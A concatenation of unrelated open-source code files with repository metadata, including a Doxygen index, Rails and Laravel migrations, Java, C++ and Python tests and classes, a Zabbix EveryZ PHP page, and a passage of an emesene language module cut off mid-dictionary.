var dir_74389ed8173ad57b461b9d623a1f3867 = [ [ "Containers", "dir_08cccf7962d497a198ad678c4e330cfd.html", "dir_08cccf7962d497a198ad678c4e330cfd" ], [ "Controls", "dir_6f73af2b2c97c832a8b61d1fc1ff2ac5.html", "dir_6f73af2b2c97c832a8b61d1fc1ff2ac5" ], [ "Util", "dir_7db6fad920da64edfd558eb6dbc0c610.html", "dir_7db6fad920da64edfd558eb6dbc0c610" ], [ "ANSIConsoleRenderer.cpp", "ANSIConsoleRenderer_8cpp.html", "ANSIConsoleRenderer_8cpp" ], [ "ANSIConsoleRenderer.hpp", "ANSIConsoleRenderer_8hpp.html", "ANSIConsoleRenderer_8hpp" ], [ "ConsoleRenderer.cpp", "ConsoleRenderer_8cpp.html", "ConsoleRenderer_8cpp" ], [ "ConsoleRenderer.hpp", "ConsoleRenderer_8hpp.html", [ [ "ICharInformation", "classConsor_1_1Console_1_1ICharInformation.html", "classConsor_1_1Console_1_1ICharInformation" ], [ "renderbound_t", "structConsor_1_1Console_1_1renderbound__t.html", "structConsor_1_1Console_1_1renderbound__t" ], [ "IConsoleRenderer", "classConsor_1_1Console_1_1IConsoleRenderer.html", "classConsor_1_1Console_1_1IConsoleRenderer" ] ] ], [ "Control.cpp", "Control_8cpp.html", null ], [ "Control.hpp", "Control_8hpp.html", [ [ "Control", "classConsor_1_1Control.html", "classConsor_1_1Control" ] ] ], [ "InputSystem.hpp", "InputSystem_8hpp.html", "InputSystem_8hpp" ], [ "LinuxInputSystem.cpp", "LinuxInputSystem_8cpp.html", "LinuxInputSystem_8cpp" ], [ "LinuxInputSystem.hpp", "LinuxInputSystem_8hpp.html", [ [ "LinuxInputSystem", "classConsor_1_1Input_1_1LinuxInputSystem.html", "classConsor_1_1Input_1_1LinuxInputSystem" ] ] ], [ "main.cpp", "main_8cpp.html", "main_8cpp" ], [ "PlatformConsoleRenderer.hpp", "PlatformConsoleRenderer_8hpp.html", "PlatformConsoleRenderer_8hpp" ], [ "PlatformInputSystem.hpp", "PlatformInputSystem_8hpp.html", "PlatformInputSystem_8hpp" ], [ "Skin.hpp", "Skin_8hpp.html", [ [ "ISkin", "classConsor_1_1ISkin.html", "classConsor_1_1ISkin" ], [ "DefaultSkin", "classConsor_1_1DefaultSkin.html", "classConsor_1_1DefaultSkin" ], [ "HackerSkin", "classConsor_1_1HackerSkin.html", "classConsor_1_1HackerSkin" ], [ "MonoSkin", "classConsor_1_1MonoSkin.html", "classConsor_1_1MonoSkin" ] ] ], [ "Units.cpp", "Units_8cpp.html", "Units_8cpp" ], [ "Units.hpp", "Units_8hpp.html", "Units_8hpp" ], [ "WindowsConsoleRenderer.cpp", "WindowsConsoleRenderer_8cpp.html", "WindowsConsoleRenderer_8cpp" ], [ "WindowsConsoleRenderer.hpp", "WindowsConsoleRenderer_8hpp.html", "WindowsConsoleRenderer_8hpp" ], [ "WindowsInputSystem.cpp", "WindowsInputSystem_8cpp.html", null ], [ "WindowsInputSystem.hpp", "WindowsInputSystem_8hpp.html", [ [ "WindowsInputSystem", "classConsor_1_1Input_1_1WindowsInputSystem.html", "classConsor_1_1Input_1_1WindowsInputSystem" ] ] ], [ "WindowSystem.cpp", "WindowSystem_8cpp.html", "WindowSystem_8cpp" ], [ "WindowSystem.hpp", "WindowSystem_8hpp.html", "WindowSystem_8hpp" ] ];
KateAdams/kateadams.eu
static/*.kateadams.eu/Consor/Doxygen/dir_74389ed8173ad57b461b9d623a1f3867.js
JavaScript
gpl-3.0
2,985
class AddOpenscapProxyToHostAndHostgroup < ActiveRecord::Migration def up add_column :hostgroups, :openscap_proxy_id, :integer add_column :hosts, :openscap_proxy_id, :integer add_column :reports, :openscap_proxy_id, :integer end def down remove_column :hostgroups, :openscap_proxy_id, :integer remove_column :hosts, :openscap_proxy_id, :integer remove_column :reports, :openscap_proxy_id end end
shlomizadok/foreman_openscap
db/migrate/20151120090851_add_openscap_proxy_to_host_and_hostgroup.rb
Ruby
gpl-3.0
429
/******************************************************************************* * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. *******************************************************************************/ package org.worldgrower; import java.io.Serializable; import java.util.HashMap; import java.util.List; import java.util.Map; import org.worldgrower.attribute.IntProperty; import org.worldgrower.attribute.ManagedProperty; import org.worldgrower.attribute.WorldObjectProperties; import org.worldgrower.condition.WorldStateChangedListeners; import org.worldgrower.goal.Goal; public class ImmutableWorldObject implements WorldObject, Serializable { private final WorldObjectProperties properties; private final List<ManagedProperty<?>> mutableProperties; private final OnTurn onTurn; private ImmutableWorldObject(WorldObjectProperties properties, List<ManagedProperty<?>> mutableProperties, OnTurn onTurn) { super(); this.properties = properties; this.mutableProperties = mutableProperties; this.onTurn = onTurn; } public ImmutableWorldObject(WorldObject sourceWorldObject, List<ManagedProperty<?>> mutableProperties, OnTurn onTurn) { Map<ManagedProperty<?>, Object> properties = new HashMap<>(); for(ManagedProperty<?> key : sourceWorldObject.getPropertyKeys()) { properties.put(key, key.copy(sourceWorldObject.getProperty(key))); } this.properties = new WorldObjectProperties(properties); this.mutableProperties = mutableProperties; this.onTurn = onTurn; } @Override public <T> T getProperty(ManagedProperty<T> propertyKey) { return properties.get(propertyKey); } @Override public boolean hasProperty(ManagedProperty<?> propertyKey) { return properties.containsKey(propertyKey); } @Override public List<ManagedProperty<?>> getPropertyKeys() { return properties.keySet(); } @Override public <T> void setProperty(ManagedProperty<T> propertyKey, T value) { if (mutableProperties.contains(propertyKey)) { setPropertyInternal(propertyKey, value); } } public <T> void setPropertyInternal(ManagedProperty<T> propertyKey, T value) { properties.put(propertyKey, value); } @Override public <T> void setPropertyUnchecked(ManagedProperty<T> propertyKey, T value) { setPropertyInternal(propertyKey, value); } @Override public <T> void removeProperty(ManagedProperty<T> propertyKey) { if (mutableProperties.contains(propertyKey)) { properties.remove(propertyKey); } } @Override public void increment(IntProperty propertyKey, int incrementValue) { if (mutableProperties.contains(propertyKey)) { int currentValue = this.getProperty(propertyKey) + incrementValue; currentValue = propertyKey.normalize(currentValue); setProperty(propertyKey, currentValue); } } @Override public ManagedOperation getOperation(ManagedOperation operation) { throw new UnsupportedOperationException("Method getOperation is not supported"); } @Override public List<ManagedOperation> getOperations() { throw new UnsupportedOperationException("Method getOperation is not supported"); } @Override public void onTurn(World world, WorldStateChangedListeners worldStateChangedListeners) { onTurn.onTurn(this, world, worldStateChangedListeners); } @Override public boolean hasIntelligence() { return false; } @Override public boolean isControlledByAI() { return false; } @Override public boolean canWorldObjectPerformAction(ManagedOperation operation) { return false; } @Override public List<Goal> getPriorities(World world) { return null; } @Override public <T> WorldObject shallowCopy() { return new ImmutableWorldObject(properties, mutableProperties, onTurn); } @Override public <T> WorldObject deepCopy() { return new ImmutableWorldObject(properties, mutableProperties, onTurn); } @Override public WorldObject getActionWorldObject() { return this; } @Override public OnTurn getOnTurn() { return onTurn; } }
WorldGrower/WorldGrower
src/org/worldgrower/ImmutableWorldObject.java
Java
gpl-3.0
4,739
""" This is a test of the chain ReportsClient -> ReportsGeneratorHandler -> AccountingDB It supposes that the DB is present, and that the service is running. Also the service DataStore has to be up and running. this is pytest! """ # pylint: disable=invalid-name,wrong-import-position import datetime import DIRAC DIRAC.initialize() # Initialize configuration from DIRAC import gLogger from DIRAC.AccountingSystem.Client.DataStoreClient import gDataStoreClient from DIRAC.AccountingSystem.Client.ReportsClient import ReportsClient from DIRAC.tests.Utilities.Accounting import createDataOperationAccountingRecord from DIRAC.tests.Utilities.Accounting import createStorageOccupancyAccountingRecord gLogger.setLevel("DEBUG") def test_addAndRemoveDataOperation(): # just inserting one record record = createDataOperationAccountingRecord() record.setStartTime() record.setEndTime() res = gDataStoreClient.addRegister(record) assert res["OK"] res = gDataStoreClient.commit() assert res["OK"] rc = ReportsClient() res = rc.listReports("DataOperation") assert res["OK"] res = rc.listUniqueKeyValues("DataOperation") assert res["OK"] res = rc.getReport( "DataOperation", "Successful transfers", datetime.datetime.utcnow(), datetime.datetime.utcnow(), {}, "Destination", ) assert res["OK"] # now removing that record res = gDataStoreClient.remove(record) assert res["OK"] def test_addAndRemoveStorageOccupancy(): # just inserting one record record = createStorageOccupancyAccountingRecord() record.setStartTime() record.setEndTime() res = gDataStoreClient.addRegister(record) assert res["OK"] res = gDataStoreClient.commit() assert res["OK"] rc = ReportsClient() res = rc.listReports("StorageOccupancy") assert res["OK"] res = rc.listUniqueKeyValues("StorageOccupancy") assert res["OK"] res = rc.getReport( "StorageOccupancy", "Free and Used Space", datetime.datetime.utcnow(), datetime.datetime.utcnow(), {}, "StorageElement", ) assert res["OK"] # now removing that record res = gDataStoreClient.remove(record) assert res["OK"]
DIRACGrid/DIRAC
tests/Integration/AccountingSystem/Test_ReportsClient.py
Python
gpl-3.0
2,308
/* Aether2DImgMaker -- console app to generate images of the Aether cellular automaton in 2D Copyright (C) 2017-2022 Jaume Ribas This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/> */ package cellularautomata.model1d; public interface SymmetricLongModel1D extends LongModel1D, SymmetricModel1D { /** * <p> * Returns the value at a given position within the asymmetric section of the grid. * That is, where the x-coordinate is inside the [{@link #getAsymmetricMinX()}, {@link #getAsymmetricMaxX()}] bounds. * </p> * <p> * The result of getting the value of a position outside these bounds is undefined. * <p> * * @param x the position on the x-axis * @return the {@link long} value at (x) * @throws Exception */ long getFromAsymmetricPosition(int x) throws Exception; @Override default LongModel1D asymmetricSection() { return new AsymmetricLongModelSection1D<SymmetricLongModel1D>(this); } }
JaumeRibas/Aether2DImgMaker
CellularAutomata/src/cellularautomata/model1d/SymmetricLongModel1D.java
Java
gpl-3.0
1,577
package code.name.monkey.appthemehelper.common.prefs.supportv7; import android.content.Context; import android.support.v7.preference.ListPreference; import android.util.AttributeSet; import code.name.monkey.appthemehelper.R; /** * @author Aidan Follestad (afollestad) */ public class ATEListPreference extends ListPreference { public ATEListPreference(Context context) { super(context); init(context, null); } public ATEListPreference(Context context, AttributeSet attrs) { super(context, attrs); init(context, attrs); } public ATEListPreference(Context context, AttributeSet attrs, int defStyleAttr) { super(context, attrs, defStyleAttr); init(context, attrs); } public ATEListPreference(Context context, AttributeSet attrs, int defStyleAttr, int defStyleRes) { super(context, attrs, defStyleAttr, defStyleRes); init(context, attrs); } private void init(Context context, AttributeSet attrs) { setLayoutResource(R.layout.ate_preference_custom_support); if (getSummary() == null || getSummary().toString().trim().isEmpty()) setSummary("%s"); } }
h4h13/RetroMusicPlayer
appthemehelper/src/main/java/code/name/monkey/appthemehelper/common/prefs/supportv7/ATEListPreference.java
Java
gpl-3.0
1,187
package com.michaelvescovo.android.itemreaper.edit_item; import com.michaelvescovo.android.itemreaper.util.FakeImageFileImpl; import com.michaelvescovo.android.itemreaper.util.ImageFile; import dagger.Module; import dagger.Provides; /** * @author Michael Vescovo */ @Module public class EditItemModule { private EditItemContract.View mView; public EditItemModule(EditItemContract.View view) { mView = view; } @Provides EditItemContract.View provideEditItemView() { return mView; } @Provides ImageFile provideImageFile() { return new FakeImageFileImpl(); } @Provides String provideUid() { return "testUid"; } }
mvescovo/item-reaper
app/src/mock/java/com/michaelvescovo/android/itemreaper/edit_item/EditItemModule.java
Java
gpl-3.0
701
// // <one line to give the program's name and a brief idea of what it does.> // Copyright (C) 2017. WenJin Yu. windpenguin@gmail.com. // // Created at 2017/11/17 17:42:13 // Version 1.0 // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. // #include <WindUtil/IdMgr/IdMgr.h> #include <WindUtil/Log/Log.h> #include <iostream> using namespace std; void TestIdMgr(){ wind::util::IdMgr idMgr; for (int i = 0; i < 10; ++i) { EASY_LOG << "Alloc id: " << idMgr.AllocId(); } idMgr.RegisterId(100); for (int i = 0; i < 10; ++i) { EASY_LOG << "Alloc id: " << idMgr.AllocId(); } idMgr.Reset(0); for (int i = 0; i < 10; ++i) { EASY_LOG << "Alloc id: " << idMgr.AllocId(); } }
windpenguin/WindUtil
Src/TestWindUtil/TestIdMgr.cpp
C++
gpl-3.0
1,283
<?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateTableFellowProgress extends Migration { /** * Run the migrations. * * @return void */ public function up() { // Schema::create('fellow_progress', function (Blueprint $table) { $table->increments('id'); $table->integer('fellow_id'); $table->integer('program_id'); $table->integer('activity_id')->nullable(); $table->integer('module_id')->nullable(); $table->integer('session_id')->nullable(); $table->integer('status')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { // Schema::dropIfExists('fellow_progress'); } }
GobiernoFacil/agentes-v2
database/migrations/2018_05_03_131639_create_table_fellow_progress.php
PHP
gpl-3.0
922
#include <algorithm> #include <cstdio> #include <vector> using std::vector; using std::max; #define clean(arr, con, len) for (int i=0; i<len ; i++) arr[i] = con; #define iftdo(con, tdo, len) for (int i=1; i<=len; i++) if(con) {tdo;} const int MAXN = 5010; const int MAXM = 50010; typedef enum {DO, DOING, DID} status; struct EDGE {int f, t;} edgs[MAXM]; bool hadin[MAXN], hadout[MAXN]; vector<int> edge[MAXN], iedge[MAXN]; int n, m, ans=-1; char s[MAXN]; int in[MAXN], out[MAXN]; void dp() { for (int i=1; i<=n; i++) { for (int j=0; j<(int)iedge[i].size(); j++) { in[i] += in[iedge[i][j]]; } } for (int i=n; i; i--) { for (int j=0; j<(int)edge[i].size(); j++) { out[i] += out[edge[i][j]]; } } } int main() { freopen("1529.in" , "r", stdin ); freopen("1529.out", "w", stdout); scanf("%d %d", &n, &m); for (int i=0, a, b; i<m; i++) { scanf("%d %d", &a, &b); edge [a].push_back(b); iedge[b].push_back(a); hadin[b] = true; hadout[a] = true; edgs[i].f = a; edgs[i].t = b; } iftdo(!hadin[i] , in[i]=1 , n); iftdo(!hadout[i], out[i]=1, n); dp(); for (int i=0; i<m; i++) { ans = max(ans, in[edgs[i].f] * out[edgs[i].t]); } printf("%d\n", ans); return 0; }
YanWQ-monad/monad
Cpp/Exam-answer/smoj.nhedu.net/1529.cpp
C++
gpl-3.0
1,210
/* This file is a part of libcds - Concurrent Data Structures library (C) Copyright Maxim Khizhinsky (libcds.dev@gmail.com) 2006-2017 Source code repo: http://github.com/khizmax/libcds/ Download: http://sourceforge.net/projects/libcds/files/ Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "test_fcpqueue.h" #include <cds/container/fcpriority_queue.h> #include <deque> namespace cds_test { TEST_F( FCPQueue, deque ) { typedef cds::container::FCPriorityQueue< value_type ,std::priority_queue< value_type ,std::deque<value_type> ,less > > pqueue_type; pqueue_type pq; test( pq ); } TEST_F( FCPQueue, deque_stat ) { typedef cds::container::FCPriorityQueue< value_type ,std::priority_queue< value_type ,std::deque<value_type> ,less > ,cds::container::fcpqueue::make_traits< cds::opt::stat< cds::container::fcpqueue::stat<> > >::type > pqueue_type; pqueue_type pq; test( pq ); } TEST_F( FCPQueue, deque_stat_single_mutex_single_condvar ) { typedef cds::container::FCPriorityQueue< value_type ,std::priority_queue< value_type ,std::deque<value_type> ,less > ,cds::container::fcpqueue::make_traits< cds::opt::stat< cds::container::fcpqueue::stat<> > , cds::opt::wait_strategy< cds::algo::flat_combining::wait_strategy::single_mutex_single_condvar<>> >::type > pqueue_type; pqueue_type pq; test( pq ); } TEST_F( FCPQueue, deque_empty_wait_strategy ) { typedef cds::container::FCPriorityQueue< value_type ,std::priority_queue< value_type ,std::deque<value_type> ,less > ,cds::container::fcpqueue::make_traits< cds::opt::stat< cds::container::fcpqueue::stat<> > , cds::opt::wait_strategy< cds::algo::flat_combining::wait_strategy::empty > >::type > pqueue_type; pqueue_type pq; test( pq ); } TEST_F( FCPQueue, deque_single_mutex_multi_condvar ) { typedef cds::container::FCPriorityQueue< value_type ,std::priority_queue< value_type ,std::deque<value_type> ,less > ,cds::container::fcpqueue::make_traits< cds::opt::stat< cds::container::fcpqueue::stat<> > , cds::opt::wait_strategy< cds::algo::flat_combining::wait_strategy::single_mutex_multi_condvar<2>> >::type > pqueue_type; pqueue_type pq; test( pq ); } TEST_F( FCPQueue, deque_mutex ) { typedef cds::container::FCPriorityQueue< value_type ,std::priority_queue< value_type ,std::deque<value_type> > ,cds::container::fcpqueue::make_traits< cds::opt::lock_type< std::mutex > >::type > pqueue_type; pqueue_type pq; test( pq ); } TEST_F( FCPQueue, deque_multi_mutex_multi_condvar ) { typedef cds::container::FCPriorityQueue< value_type ,std::priority_queue< value_type ,std::deque<value_type> > ,cds::container::fcpqueue::make_traits< cds::opt::lock_type< std::mutex > , cds::opt::wait_strategy< cds::algo::flat_combining::wait_strategy::multi_mutex_multi_condvar<1000>> >::type > pqueue_type; pqueue_type pq; test( pq ); } } // namespace cds_test
whc10002/study
libcds/test/unit/pqueue/fcpqueue_deque.cpp
C++
gpl-3.0
5,258
<?php /* * * Purpose: Add support for external modules to extend Zabbix native functions * * Adail Horst - http://spinola.net.br/blog * * * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * * the Free Software Foundation; either version 2 of the License, or * * (at your option) any later version. * * * * This program is distributed in the hope that it will be useful, * * but WITHOUT ANY WARRANTY; without even the implied warranty of * * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * * GNU General Public License for more details. * * * * You should have received a copy of the GNU General Public License * * along with this program; if not, write to the Free Software * * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * */ // Global definitions ========================================================== require_once dirname(__FILE__) . '/include/config.inc.php'; /** * Base path to profiles on Zabbix Database */ $baseProfile = "everyz."; $page['title'] = _('EveryZ'); $page['file'] = 'everyz.php'; $filter = $fields = []; $TINYPAGE = true; switch (getRequest('format')) { case PAGE_TYPE_CSV: $page['file'] = 'everyz_export.csv'; $page['type'] = detect_page_type(PAGE_TYPE_CSV); break; case PAGE_TYPE_JSON: $page['file'] = 'everyz_export.json'; $page['type'] = detect_page_type(PAGE_TYPE_CSV); break; default: $page['type'] = detect_page_type(PAGE_TYPE_HTML); break; } $page['scripts'] = array('class.calendar.js', 'multiselect.js', 'gtlc.js'); require_once dirname(__FILE__) . '/include/page_header.php'; if ($page['type'] === detect_page_type(PAGE_TYPE_HTML)) { ?> <link href="local/app/everyz/css/everyz.css" rel="stylesheet" type="text/css" id="skinSheet"> <?php } $TINYPAGE = getRequest2("shorturl") !== ""; if ($TINYPAGE) { ?> <style type="text/css"> body { min-width: 100%; margin-bottom: 0px; } .filter-space, .filter-container, .filter-btn-container { display: none; } article, .article { padding: 0px 0px 0 0px; } </style> <?php } zbxeCheckDBConfig(); addFilterParameter("action", T_ZBX_STR, "dashboard", false, false, false); addFilterParameter("shorturl", T_ZBX_STR, '', false, false, false); zbxeTranslateURL(); /* ============================================================================= * Permissions ============================================================================== */ $config = select_config(); $action = getRequest2("action"); $module = "dashboard"; if (hasRequest('zbxe_reset_all') && getRequest2('zbxe_reset_all') == "EveryZ ReseT" && $action == "zbxe-config") { try { show_message(_zeT('EveryZ configuration back to default factory values! Please click on "EveryZ" menu!')); DBexecute(zbxeStandardDML("DROP TABLE `zbxe_preferences` ")); DBexecute(zbxeStandardDML("DROP TABLE `zbxe_translation` ")); DBexecute(zbxeStandardDML("DROP TABLE `zbxe_shorten` ")); DBexecute(zbxeStandardDML("DELETE FROM `profiles` where idx like 'everyz%' ")); $path = str_replace("local/app/views", "local/app/everyz/init", dirname(__FILE__)); if (!file_exists($path . '/everyz.initdb.php')) { $path = dirname(__FILE__) . '/local/app/everyz/init'; } require_once $path . '/everyz.initdb.php'; exit; } catch (Exception $e) { } } $res = DBselect('SELECT userid, tx_option, tx_value from zbxe_preferences zpre ' . ' WHERE userid in (0,' . CWebUser::$data['userid'] . ') ' . ' and tx_value like ' . quotestr($action . '|%') . ' order by userid, tx_option'); while ($row = DBfetch($res)) { $tmp = explode("|", $row['tx_value']); $module = $tmp[0]; } /* * *************************************************************************** * Access Control * ************************************************************************** */ if ($module == "dashboard") { zbxeCheckUserLevel(zbxeMenuUserType()); include_once dirname(__FILE__) . "/local/app/views/everyz.dashboard.view.php"; } else { zbxeCheckUserLevel((count($tmp) > 2 ? (int) $tmp[2] : 3)); $file = dirname(__FILE__) . "/local/app/views/everyz." . $module . ".view.php"; if (file_exists($file)) { include_once $file; } else { echo "Não existe o arquivo do modulo (" . $module . ")"; } } if (!$TINYPAGE) { echo "<!-- Everyz Version - " . EVERYZVERSION . " -->\n"; zbxeFullScreen(); require_once dirname(__FILE__) . '/include/page_footer.php'; }
SpawW/everyz
everyz.php
PHP
gpl-3.0
4,786
package biz.dealnote.messenger.crypt; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; import androidx.annotation.IntDef; /** * Created by admin on 08.10.2016. * phoenix */ @IntDef({SessionState.INITIATOR_EMPTY, SessionState.NO_INITIATOR_EMPTY, SessionState.INITIATOR_STATE_1, SessionState.NO_INITIATOR_STATE_1, SessionState.INITIATOR_STATE_2, SessionState.INITIATOR_FINISHED, SessionState.NO_INITIATOR_FINISHED, SessionState.FAILED, SessionState.CLOSED}) @Retention(RetentionPolicy.SOURCE) public @interface SessionState { /** * Сессия не начата */ int INITIATOR_EMPTY = 1; /** * Сессия не начата */ int NO_INITIATOR_EMPTY = 2; /** * Начальный этап сессии обмена ключами * Я, как инициатор, отправил свой публичный ключ * и жду, пока мне в ответ отправят AES-ключ, зашифрованный этим публичным ключом */ int INITIATOR_STATE_1 = 3; /** * Получен запрос от инициатора на обмен ключами * В сообщении должен быть публичный ключ инициатора, * Я отправил ему AES-ключ, зашифрованный ЕГО публичным ключом. * В то же время я вложил в сообщение свой публичный ключ, * чтобы инициатор отправил в ответ свой AES-ключ */ int NO_INITIATOR_STATE_1 = 4; /** * Я - инициатор обмена * Получен AES-ключ от собеседника и его публичный ключ * Я в ответ отправил ему свой AES-ключ, зашифрованный его публичным ключом */ int INITIATOR_STATE_2 = 5; /** * Получен запрос от собеседника на успешное закрытие сессии обмена ключами * Собеседнику отправляем пустое сообщение как подтверждение успешного обмена */ int NO_INITIATOR_FINISHED = 6; /** * Отправляем подтверждение получение ключа и запрос на завершение сессии * Собеседнику отправляем пустое сообщение как подтверждение успешного обмена */ int INITIATOR_FINISHED = 7; int CLOSED = 8; int FAILED = 9; }
PhoenixDevTeam/Phoenix-for-VK
app/src/main/java/biz/dealnote/messenger/crypt/SessionState.java
Java
gpl-3.0
2,719
'''Language module, allows the user to change the language on demand''' # -*- coding: utf-8 -*- # This file is part of emesene. # # emesene is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 3 of the License, or # (at your option) any later version. # # emesene is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with emesene; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA import os import gettext import locale import glob class Language(object): """ A class for language management """ NAME = 'Language' DESCRIPTION = 'Language management module' AUTHOR = 'Lucas F. Ottaviano (lfottaviano)' WEBSITE = 'www.emesene.org' LANGUAGES_DICT = {'af':'Afrikaans', 'ar':'\xd8\xa7\xd9\x84\xd8\xb9\xd8\xb1\xd8\xa8\xd9\x8a\xd8\xa9', 'ast':'Asturianu', 'az':'\xd8\xa2\xd8\xb0\xd8\xb1\xd8\xa8\xd8\xa7\xdb\x8c\xd8\xac\xd8\xa7\xd9\x86 \xd8\xaf\xdb\x8c\xd9\x84\xdb\x8c', 'bg':'\xd0\x91\xd1\x8a\xd0\xbb\xd0\xb3\xd0\xb0\xd1\x80\xd1\x81\xd0\xba\xd0\xb8 \xd0\xb5\xd0\xb7\xd0\xb8\xd0\xba', 'bn':'\xe0\xa6\xac\xe0\xa6\xbe\xe0\xa6\x82\xe0\xa6\xb2\xe0\xa6\xbe', 'bs':'\xd0\xb1\xd0\xbe\xd1\x81\xd0\xb0\xd0\xbd\xd1\x81\xd0\xba\xd0\xb8', 'ca':'Catal\xc3\xa0', 'cs':'\xc4\x8de\xc5\xa1tina', 'da':'Danish', 'de':'Deutsch', 'dv':'\xde\x8b\xde\xa8\xde\x88\xde\xac\xde\x80\xde\xa8', 'el':'\xce\x95\xce\xbb\xce\xbb\xce\xb7\xce\xbd\xce\xb9\xce\xba\xce\xac', 'en':'English', 'en_AU':'English (Australia)', 'en_CA':'English (Canada)', 'en_GB':'English (United Kingdom)', 'eo':'Esperanto', 'es':'Espa\xc3\xb1ol', 'et':'Eesti keel', 'eu':'Euskara', 'fi':'Suomi', 'fil':'Filipino', 'fo':'F\xc3\xb8royskt', 'fr':'Fran\xc3\xa7ais', 'ga':'Gaeilge', 'gl':'Galego', 'gv':'Gaelg', 'he':'\xd7\xa2\xd6\xb4\xd7\x91\xd6\xb0\xd7\xa8\xd6\xb4\xd7\x99\xd7\xaa', 'hr':'Hrvatski', 'hu':'Magyar', 'ia':'Interlingua', 'id':'Bahasa Indonesia', 'is':'\xc3\x8dslenska', 'it':'Italiano', 'ja':'\xe6\x97\xa5\xe6\x9c\xac\xe8\xaa\x9e', 'kab':'Taqbaylit', 'kn':'Kanna\xe1\xb8\x8da', 'ko':'\xed\x95\x9c\xea\xb5\xad\xec\x96\xb4/\xec\xa1\xb0\xec\x84\xa0\xeb\xa7\x90', 'ku':'\xda\xa9\xd9\x88\xd8\xb1\xd8\xaf\xdb\x8c', 'la':'Lat\xc4\xabna', 'lb':'L\xc3\xabtzebuergesch', 'lt':'Lietuvi\xc5\xb3', 'lv':'Latvie\xc5\xa1u valoda', 'mk':'\xd0\x9c\xd0\xb0\xd0\xba\xd0\xb5\xd0\xb4\xd0\xbe\xd0\xbd\xd1\x81\xd0\xba\xd0\xb8 \xd1\x98\xd0\xb0\xd0\xb7\xd0\xb8\xd0\xba', 'ms':'\xd8\xa8\xd9\x87\xd8\xa7\xd8\xb3 \xd9\x85\xd9\x84\xd8\xa7\xd9\x8a\xd9\x88', 'nan':'\xe9\x96\xa9\xe5\x8d\x97\xe8\xaa\x9e / \xe9\x97\xbd\xe5\x8d\x97\xe8\xaf\xad', 'nb':'Norwegian Bokm\xc3\xa5l', 'nds':'Plattd\xc3\xbc\xc3\xbctsch', 'nl':'Nederlands', 'nn':'Norwegian Nynorsk', 'oc':'Occitan (post 1500)', 'pl':'J\xc4\x99zyk Polski', 'pt':'Portugu\xc3\xaas', 'pt_BR':'Portugu\xc3\xaas Brasileiro', 'ro':'Rom\xc3\xa2n\xc4\x83', 'ru':'\xd1\x80\xd1\x83\xd1\x81\xd1\x81\xd0\xba\xd0\xb8\xd0\xb9 \xd1\x8f\xd0\xb7\xd1\x8b\xd0\xba', 'sk':'Sloven\xc4\x8dina', 'sl':'Sloven\xc5\xa1\xc4\x8dina', 'sq':'Shqip', 'sr':'\xd1\x81\xd1\x80\xd0\xbf\xd1\x81\xd0\xba\xd0\xb8', 'sv':'Svenska', 'ta':'\xe0\xae\xa4\xe0\xae\xae\xe0\xae\xbf\xe0\xae\xb4\xe0\xaf\x8d', 'th':'\xe0\xb8\xa0\xe0\xb8\xb2\xe0\xb8\xa9\xe0\xb8\xb2\xe0\xb9\x84\xe0\xb8\x97\xe0\xb8\xa2', 'tr':'T\xc3\xbcrk\xc3\xa7e', 'uk':'\xd1\x83\xd0\xba\xd1\x80\xd0\xb0\xd1\x97\xcc\x81\xd0\xbd\xd1\x81\xd1\x8c\xd0\xba\xd0\xb0 